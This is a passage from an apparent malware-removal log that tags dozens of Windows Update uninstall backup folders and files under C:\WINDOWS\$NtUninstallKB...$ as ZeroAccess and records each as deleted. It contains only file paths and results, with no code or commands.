    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2447961_WM9L$\wmencagt.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2447961_WM9L$\wmenceng.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2447961_WM9L$\wmex.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2467659$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2467659$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2467659$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2467659$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2467659$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2467659$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2476490$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2476490$\oleaut32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2476490$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2476490$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2476490$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2476490$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2476490$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2476687$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2476687$\csrsrv.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2476687$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2476687$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2476687$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2476687$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2476687$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2478960$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2478960$\lsasrv.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2478960$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2478960$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2478960$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2478960$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2478960$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2478971$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2478971$\kerberos.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2478971$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2478971$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2478971$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2478971$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2478971$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2479628$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2479628$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2479628$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2479628$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2479628$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2479628$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2479628$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2479943$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2479943$\encdec.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2479943$\sbe.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2479943$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2479943$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2479943$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2479943$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2479943$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2481109$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2481109$\lhmstsc.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2481109$\lhmstscx.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2481109$\mstsc.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2481109$\mstscax.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2481109$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2481109$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2481109$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2481109$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2481109$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2483185$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2483185$\shell32.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2483185$\shimgvw.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2483185$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2483185$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2483185$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2483185$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2483185$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2485376$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2485376$\atmfd.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2485376$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2485376$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2485376$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2485376$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2485376$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2485663$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2485663$\mswrd8.wpc -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2485663$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2485663$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2485663$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2485663$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2485663$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2503658$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2503658$\inetcomm.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2503658$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2503658$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2503658$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2503658$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2503658$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2503665$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2503665$\afd.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2503665$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2503665$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2503665$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2503665$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2503665$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2506212$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2506212$\mfc42.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2506212$\mfc42u.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2506212$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2506212$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2506212$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2506212$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2506212$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2506223$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2506223$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2506223$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2506223$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2506223$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2506223$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2506223$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2507618$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2507618$\atmfd.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2507618$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2507618$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2507618$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2507618$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2507618$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2507938$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2507938$\csrsrv.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2507938$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2507938$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2507938$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2507938$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2507938$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2507938$\winsrv.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2508272$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2508272$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2508272$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2508272$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2508272$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2508272$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2508272$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2508429$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2508429$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2508429$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2508429$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2508429$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2508429$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2508429$\srv.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2508429$\xpsp4res.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2509553$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2509553$\afd.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2509553$\dnsapi.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2509553$\dnsrslvr.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2509553$\mswsock.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2509553$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2509553$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2509553$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2509553$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2509553$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2509553$\system.adm -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2511455$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2511455$\mrxsmb.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2511455$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2511455$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2511455$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2511455$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2511455$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2524375$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2524375$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2524375$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2524375$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2524375$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2524375$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2535512$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2535512$\mup.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2535512$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2535512$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2535512$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2535512$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2535512$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2536276$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2536276$\mrxsmb.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2536276$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2536276$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2536276$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2536276$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2536276$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2536276-v2$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2536276-v2$\mrxsmb.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2536276-v2$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2536276-v2$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2536276-v2$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2536276-v2$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2536276-v2$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2541763$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2541763$\schannel.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2541763$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2541763$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2541763$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2541763$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2541763$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2544893$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2544893$\inetcomm.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2544893$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2544893$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2544893$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2544893$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2544893$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2544893-v2$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2544893-v2$\inetcomm.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2544893-v2$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2544893-v2$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2544893-v2$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2544893-v2$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2544893-v2$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2555917$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2555917$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2555917$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2555917$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2555917$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2555917$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2555917$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2562937$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2562937$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2562937$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2562937$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2562937$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2562937$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2562937$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2564958$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\oleacc.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\oleaccrc.dll -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00003 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00004 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00006 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00007 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00008 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00009 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00010 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00011 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00012 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00013 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00014 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00015 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00016 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00017 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00019 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00020 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00021 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00023 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00024 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00025 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00026 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00027 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00028 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00029 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\reg00030 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2564958$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2564958$\uiautomationcore.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2566454$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2566454$\ndistapi.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2566454$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2566454$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2566454$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2566454$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2566454$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2567053$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2567053$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2567053$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2567053$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2567053$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2567053$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2567053$\win32k.sys -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2567680$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2567680$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2567680$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2567680$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2567680$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2567680$\spuninst -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2567680$\winsrv.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2570222$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2570222$\rdpwd.sys -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2570222$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2570222$\spuninst\spuninst.inf -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2570222$\spuninst\spuninst.txt -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2570222$\spuninst\updspapi.dll -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2570222$\spuninst -> Deleted

    [ZeroAccess][Folder] C:\WINDOWS\$NtUninstallKB2570791$ -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2570791$\reg00001 -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2570791$\spuninst\spuninst.exe -> Deleted

    [ZeroAccess][File] C:\WINDOWS\$NtUninstallKB2570791$\spuninst\spuninst.inf -> Deleted

